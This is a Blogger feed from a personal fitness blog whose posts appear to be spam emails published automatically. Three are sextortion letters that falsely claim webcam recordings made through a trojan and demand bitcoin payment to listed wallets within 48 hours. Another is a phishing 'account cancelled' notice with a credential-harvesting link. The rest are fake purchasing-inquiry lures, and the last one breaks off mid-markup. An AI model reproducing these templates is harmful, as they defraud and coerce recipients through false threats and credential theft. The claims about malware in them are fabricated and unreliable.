tag:blogger.com,1999:blog-76147466788355909442024-03-14T00:18:21.386-07:00Nuggets of Truth, My Health & Fitness JourneyA Kinder and Gentler Me...Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.comBlogger550125tag:blogger.com,1999:blog-7614746678835590944.post-24543257393716056752023-12-19T11:16:00.000-08:002023-12-19T14:48:19.588-08:00No reply.Hello, my perverted friend.
<br>
<br>We've actually known each other for a while, at least I know you.
<br>You can call me Big Brother or the All-Seeing Eye.
<br>I'm a hacker who a few months ago gained access to your device, including your browser history and webcam.
<br>I recorded some videos of you jerking off to highly controversial "adult" videos.
<br>I doubt you'd want your family, coworkers, and your entire <a href="mailto:transparent.joy.rowergirl@blogger.com">transparent.joy.rowergirl@blogger.com</a> contact list to see footage of you pleasuring yourself,
<br>especially considering how kinky your favorite "genre".
<br>I will also publish these videos on porn sites, they will go viral and it will be physically impossible to remove them from the Internet.
<br>
<br>How did I do this?
<br>Because of your disregard for internet security, I easily managed to install a Trojan on your hard disk.
<br>Thanks to this, I was able to access all the data on your device and control it remotely.
<br>By infecting one device, I was able to gain access to all the other devices.
<br>
<br>My spyware is embedded in the drivers and updates its signature every few hours, so no antivirus or firewall can ever detect it.
<br>Now I want to offer a deal: a small amount of money in exchange for your former worry free life.
<br>
<br>Transfer $1200 USD to my bitcoin wallet:1JEvR3g6o6AbBZLWm9bvdVyeWk3yC8Rs8w
<br>
<br>As soon as I receive confirmation of the payment,
<br>I will delete all the videos that compromise you, remove the virus from all your devices and you will never hear from me again.
<br>It's a very small price for not destroying your reputation in the eyes of others, who think that you are a decent man, according to your messengers.
<br>You can think of me as some sort of life coach who wants you to start appreciating what you have.
<br>
<br>You have 48 hours. I will receive a notification as soon as you open this email, and from this moment, the countdown will begin.
<br>If you've never dealt with cryptocurrency before, it's very easy. Simply type "cryptocurrency exchange" into a search engine, and then all set.
<br>
<br>Here's what you shouldn't do:
<br>- Don't reply to my email. It was sent from a temporary email account.
<br>- Don't call the police.
<br> Remember, I have access to all your devices, and as soon as I notice such activity, it will automatically lead to the publishing of all the videos.
<br>- Don't try to reinstall your system or reset your device. First of all, I already have the videos,
<br> and secondly, as I said, I have remote access to all your devices, and once I notice such an attempt, you know what happens.
<br>
<br>Remember, crypto addresses are anonymous, so you won't be able to track down my wallet.
<br>
<br>So long story short, let's resolve this situation with a benefit for me and you.
<br>I always keep my word unless someone tries to trick me.
<br>
<br>Lastly, a little advice for the future. Start taking your online security more seriously.
<br>Change your passwords regularly and set up multi-factor authentication on all your accounts.
<br>
<br>Best wishes.Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-67564330735105582332023-11-10T15:06:00.000-08:002023-11-10T06:36:14.464-08:00I recorded you.Hello there!</br> </br> Unfortunately, there are some bad news for you.</br> </br> Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.</br> </br> My trojan allowed me to access your files, accounts and your camera.</br> </br> Check the sender of this email, I have sent it from your email account.</br> </br> To make sure you read this email, you will receive it multiple times.</br> </br> You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.</br> </br> I RECORDED YOU (through your camera) SATISFYING YOURSELF!</br> </br> After that I removed my malware to not leave any traces.</br> </br> If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts, on social networks, </br> the darknet and to publish all your files.</br> </br> All you need is $1700 USD in Вitсоin (ВТС) transfer to my account.</br> </br> After the transaction is successful, I will proceed to delete everything.</br> </br> Be sure, I keep my promises.</br> </br> You can easily buy Вitсоin (ВТС) here:</br> </br> https://cex.io/</br> https://nexo.com/</br> https://bitpay.com/</br> https://paybis.com/</br> https://invity.io/</br> </br> Or simply google other exchanger.</br> </br> After that send the Вitсоin (ВТС) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.</br> </br> My Вitсоin (ВТС) address is: 1MvogqA76t4o8Cya83SbPCGn52VRJsbiUV</br> </br> Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE).</br> </br> You are given not more than 3 days after you have opened this email.</br> </br> As I got access to this email account, I will know if this email has already been read.</br> </br> Everything will be carried out based on fairness.</br> </br> An advice from me, regularly change all your passwords to your accounts and update your device with newest security patches.Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-19089954447087752872023-10-24T17:44:00.000-07:002023-10-24T15:11:42.256-07:00Pending for payment.Greetings!
<br>Have you seen lately my e-mail to you from an account of yours?
<br>Yeah, that merely confirms that I have gained a complete access to device of yours.
<br>
<br>Within the past several months, I was observing you.
<br>Are you still surprised how could that happen? Frankly speaking, malware has infected your devices and it's coming from an adult website, which you used to visit.
<br>Although all this stuff may seem unfamiliar to you, but let me try to explain that to you.
<br>
<br>With aid of Trojan Viruses, I managed to gain full access to any PC or other types of devices.
<br>That merely means that I can watch you whenever I want via your screen just by activating your camera as well as microphone, while you don't even know about that.
<br>Moreover, I have also received access to entire contacts list as well as full correspondence of yours.
<br>
<br>You may be wondering, "However, my PC is protected by a legitimate antivirus, so how could that happen? Why couldn't I get any alerts?"
<br>To be honest, the reply is quite straightforward: malware of mine utilizes drivers, which update the signatures on 4-hourly basis,
<br>which turns them to become untraceable, and hereby making your antivirus remain idle.
<br>
<br>I have collected a video on the left screen where you enjoy wanking, while the video on the right screen shows the video you were watching at that point of time.
<br>Still puzzled how much damage could that cause? One mouse click is enough for me to share this video to your social networks, as well as e-mail contacts of yours.
<br>In addition, I am also able to gain access to all e-mail correspondence as well as messengers used by you.
<br>
<br>Below are simple steps required for you to undertake in order to avoid that from occurring - transfer $1550 in Bitcoin equivalent to my wallet
<br>(if you don't know how to complete that, just open your browser and make a google search: "Buy Bitcoin").
<br>
<br>My bitcoin wallet address (BTC Wallet) is: 1P28gw81epAv9RfjhaJikNjukboCrj8Lvn
<br>
<br>Once the payment has been confirmed, I shall remove the video without delay, and that is end of story - afterwards you won't hear about me again for sure.
<br>The time for you to perform the transaction is 2 days (48 hours).
<br>After this e-mail is opened by you, I will get an automatic notice, which will start my timer.
<br>
<br>Any effort to complain will not change anything at all, because this e-mail is simply untraceable, just like my bitcoin address.
<br>I have been developing these plans for quite an extended period of time; so, don't expect any mistake from my side.
<br>
<br>If, get to know that you tried to send this message to anyone else, I will distribute your video as described earlier.Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-34870789644612038692023-02-28T07:45:00.000-08:002023-02-28T08:55:39.061-08:00Notice that your email account has been cancelled ~!<TABLE cellSpacing=0 cellPadding=0 width=650 align=center border=0> <TBODY> <TR> <TD colSpan=3></TD></TR> <TR> <TD colSpan=3></TD></TR> <TR> <TD style="BACKGROUND: url(http://mail.bulanka.com/domain/images/send-template/yjtx_03_01.png) repeat-y" width=35> </TD> <TD width=580> <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0> <TBODY> <TR> <TD height=70> <DIV style="FONT-SIZE: 14px; TEXT-ALIGN: center; LINE-HEIGHT: 32px; BACKGROUND-COLOR: #fceeee"><IMG border=0 src="http://mail.bulanka.com/domain/images/send-template/icon-error.png" align=absMiddle> Email account login exception reminder</DIV></TD></TR> <TR> <TD style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 10px; PADDING-RIGHT: 10px"> <P style="FONT-SIZE: 16px">Dear users:</P> <P style="FONT-SIZE: 16px">Your e-mail account: [RECEIVER ADDRESS]. At present, you have logged in through the e-mail client at the following special places. Please confirm if you can operate it in person.</P> <P style="FONT-SIZE: 16px">The system will forcefully stop using the account. If you need to activate it, please follow the instructions.</P> <P style="FONT-SIZE: 16px">After the protection of the fixed location, the system will block the log in in the non protection area for you</P> <P style="FONT-SIZE: 16px">Time: 2023/2/28 23:45:28 (Beijing time)</P> <P style="FONT-SIZE: 16px">Address: Overseas non local log in (IP:[RAND IP])</P> <P style="FONT-SIZE: 16px">Unusual overseas visits: 28times</P> <P style="FONT-SIZE: 14px; MARGIN-TOP: 20px; LINE-HEIGHT: 36px"> <A style="TEXT-DECORATION: none" href="http://mmail.mytvfdp.com.cn/?kailuan.com.cn/?transparent.joy.rowergirl@blogger.com"><SPAN style="CURSOR: pointer; BORDER-TOP: #357cfd 1px solid; BORDER-RIGHT: #357cfd 1px solid; BORDER-BOTTOM: #357cfd 1px solid; COLOR: #357cfd; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 10px; BORDER-LEFT: #357cfd 1px solid; DISPLAY: inline-block; PADDING-RIGHT: 10px; border-radius: 5px"><STRONG>Click here to resume normal use immediately</STRONG></SPAN></A> </P> <P style="FONT-SIZE: 14px; MARGIN-TOP: 20px; LINE-HEIGHT: 36px"> </P></TD></TR></TBODY></TABLE></TD> <TD style="BACKGROUND: repeat-y" width=35> </TD></TR> <TR> <TD colSpan=3><IMG alt="" src="http://mail.bulanka.com/domain/images/send-template/yjtx_04.png" width=650 height=121></TD></TR></TBODY></TABLE><!-- End Save for Web Slices -->Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-85926978920285051072023-01-28T12:31:00.000-08:002023-01-28T11:51:16.187-08:001H9neD fDv92GiNfez CqnvzrCqx Dg5LaWpx<div class=WordSection1><p class=MsoNormal>Greetɨngș!<br> <br> Î have to șhare bad newș wɨth you.<br> Approxɨmately few monthș ago ɨ have gaɨned acceșș to your devɨceș, whɨch you ușe for ɨnternet browșɨng.<br> After that, ɨ have ștarted trackɨng your ɨnternet actɨvɨtɨeș.<br> <br> Here ɨș the șequence of eventș: <br> șome tɨme ago ɨ have purchașed acceșș to emaɨl accountș from hackerș (nowadayș, ɨt ɨș quɨte șɨmple to purchașe șuch thɨng onlɨne).<br> Obvɨoușly, ɨ have eașɨly managed to log ɨn to your emaɨl account (transparent.joy.rowergirl@blogger.com).<br> <br> One week later, ɨ have already ɨnștalled Trojan vɨruș to Operatɨng șyștemș of all the devɨceș that you ușe to acceșș your emaɨl.<br> În fact, ɨt waș not really hard at all (șɨnce you were followɨng the lɨnkș from your ɨnbox emaɨlș).<br> All ɨngenɨouș ɨș șɨmple. (:<br> <br> Thɨș șoftware provɨdeș me wɨth acceșș to all the controllerș of your devɨceș (e.g., your mɨcrophone, vɨdeo camera and keyboard).<br> Î have downloaded all your ɨnformatɨon, data, photoș, web browșɨng hɨștory to my șerverș.<br> Î have acceșș to all your meșșengerș, șocɨal networkș, emaɨlș, chat hɨștory and contactș lɨșt.<br> My vɨruș contɨnuoușly refreșheș the șɨgnatureș (ɨt ɨș drɨver-bașed), and hence remaɨnș ɨnvɨșɨble for antɨvɨruș șoftware.<br> <br> Lɨkewɨșe, ɨ gueșș by now you underștand why ɨ have ștayed undetected untɨl thɨș letter...<br> <br> Whɨle gatherɨng ɨnformatɨon about you, ɨ have dɨșcovered that you are a bɨg fan of adult webșɨteș.<br> You really love vɨșɨtɨng porn webșɨteș and watchɨng excɨtɨng vɨdeoș, whɨle endurɨng an enormouș amount of pleașure.<br> Well, ɨ have managed to record a number of your dɨrty șceneș and montaged a few vɨdeoș, whɨch șhow the way you mașturbate and reach orgașmș.<br> <br> Îf you have doubtș, ɨ can make a few clɨckș of my moușe and all your vɨdeoș wɨll be șhared to your frɨendș, colleagueș and relatɨveș.<br> Î have alșo no ɨșșue at all to make them avaɨlable for publɨc acceșș.<br> Î gueșș, you really don't want that to happen, conșɨderɨng the șpecɨfɨcɨty of the vɨdeoș you lɨke to watch, (you perfectly know what ɨ mean) ɨt wɨll caușe a true cataștrophe for you.<br> <br> Let'ș șettle ɨt thɨș way:<br> You tranșfer $1650 UșD to me (ɨn |B ɨ t c o ɨ n| equɨvalent accordɨng to the exchange rate at the moment of fundș tranșfer), and once the tranșfer ɨș receɨved, ɨ wɨll delete all thɨș dɨrty ștuff rɨght away.<br> After that we wɨll forget about each other. ɨ alșo promɨșe to deactɨvate and delete all the harmful șoftware from your devɨceș. Trușt me, ɨ keep my word.<br> <br> Thɨș ɨș a faɨr deal and the prɨce ɨș quɨte low, conșɨderɨng that ɨ have been checkɨng out your profɨle and traffɨc for șome tɨme by now.<br> În cașe, ɨf you don't know how to purchașe and tranșfer the |b ɨ t c o ɨ n ș| - you can ușe any modern șearch engɨne.<br> <br> Here ɨș my |B ɨ t c o ɨ n| wallet: <b>>> Împortant! The |B ɨ t c o ɨ n| addreșș ɨn the șubject of thɨș emaɨl. For copy ɨt you need to be șure to remove the șpaceș! <<</b><br> <br> You have leșș than 48 hourș from the moment you opened thɨș emaɨl (precɨșely 2 dayș).<br> <br> Thɨngș you need to avoɨd from doɨng:<br> *Do not reply me (ɨ have created thɨș emaɨl ɨnșɨde your ɨnbox and generated the return addreșș).<br> *Do not try to contact polɨce and other șecurɨty șervɨceș. ɨn addɨtɨon, forget about tellɨng thɨș to you frɨendș. <br> ɨf ɨ dɨșcover that (aș you can șee, ɨt ɨș really not șo hard, conșɨderɨng that ɨ control all your șyștemș) - your vɨdeo wɨll be șhared to publɨc rɨght away. <br> *Don't try to fɨnd me - ɨt ɨș abșolutely poɨntleșș. All the cryptocurrency tranșactɨonș are anonymouș.<br> *Don't try to reɨnștall the Oș on your devɨceș or throw them away. ɨt ɨș poɨntleșș aș well, șɨnce all the vɨdeoș have already been șaved at remote șerverș.<br> <br> Thɨngș you don't need to worry about:<br> *That ɨ won't be able to receɨve your fundș tranșfer.<br> - Don't worry, ɨ wɨll șee ɨt rɨght away, once you complete the tranșfer, șɨnce ɨ contɨnuoușly track all your actɨvɨtɨeș (my trojan vɨruș haș got a remote-control feature, șomethɨng lɨke TeamVɨewer).<br> *That ɨ wɨll șhare your vɨdeoș anyway after you complete the fundș tranșfer.<br> - Trușt me, ɨ have no poɨnt to contɨnue creatɨng troubleș ɨn your lɨfe. ɨf ɨ really wanted that, ɨ would do ɨt long tɨme ago! <br> <br> Everythɨng wɨll be done ɨn a faɨr manner!<br> <br> One more thɨng... Don't get caught ɨn șɨmɨlar kɨnd of șɨtuatɨonș anymore ɨn future!<br> My advɨce - keep changɨng all your pașșwordș on a frequent bașɨș<o:p></o:p></p></div>Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-39029589515020998192023-01-24T00:16:00.001-08:002023-01-24T00:16:39.667-08:00PURCHASING<div style='color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><font size="3"> HELLO<br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"> <br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"> <span style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-style: normal; font-weight: 400; word-spacing: 0px; float: none; display: inline !important; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">My name is Donald F. I am the Purchasing Assistant at Beaver Annxor Metals LLC in the United Kingdom. I'm interested in establishing cordial/ business relationships with you.</span> <br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"> <span style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-style: normal; font-weight: 400; word-spacing: 0px; float: none; display: inline !important; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">I have a business proposal for you and I think you might be interested in it I await your response</span> <br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"> <br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"> <span style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-style: normal; font-weight: 400; word-spacing: 0px; float: none; display: inline !important; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Sincerely,</span> <br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"> <span style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-style: normal; font-weight: 400; word-spacing: 0px; float: none; display: inline !important; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Donald Fuss</span> <br style="color: rgb(34, 34, 34); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"></font> <a style="color: rgb(17, 85, 204); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px;" href="mailto:donaldfuss33@gmail.com" target="_blank">donaldfuss33@gmail.com</a><br></div> Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-25897829510768673502023-01-18T12:41:00.001-08:002023-01-18T12:41:57.963-08:00URGENT PRODUCT INQUIRY 2023<div style='color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><font size="4">Hello transparent.joy.rowergirl,</font></div><p></p> <div style='color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 13px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><br> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr"> I am Dr mrs moon pui the manager of tonsongroup Thailand,</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">I am writing to inquire about the availability of your products I saw on your website</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">and my company is very much interested in buying, I have confidence in your commitment to quality,</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">I also appreciate if you could send me the following: -</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">1. updated catalog</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">2. price list</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">3. moq for your products</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">I need to take a decision in the coming few days so it really very important that I receive this information as soon as possible</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">Awaiting your reply.</p> <p style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'></p> <p style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><br>Best regards .<br>Dr Mrs Moon Pui<br>[manager]<br>Email:<strong><a class="ex-mailto-link mailto-link" style="color: rgb(60, 97, 170); text-decoration: underline;" href="mailto:sales@tonsongroupp.com" target="_blank">sales@tonsongroupp.com</a><br></strong><br>TONSON GROUP,<br>900 TONSON TOWER,<br>17TH FLOOR, PLOENCHIT ROAD,<br>LUMPINI, PATHUMWAN,<br> BANGKOK 10330 T.<br>+66 (0) 2277 0525,<br>F. +66 (0) 2357 0595 </p></div> Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-57553753654933110932022-12-14T17:28:00.001-08:002022-12-14T17:28:29.172-08:00URGENT PRODUCT INQUIRY<div style='color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><font size="4">Hello transparent.joy.rowergirl,</font></div><p></p> <div style='color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI 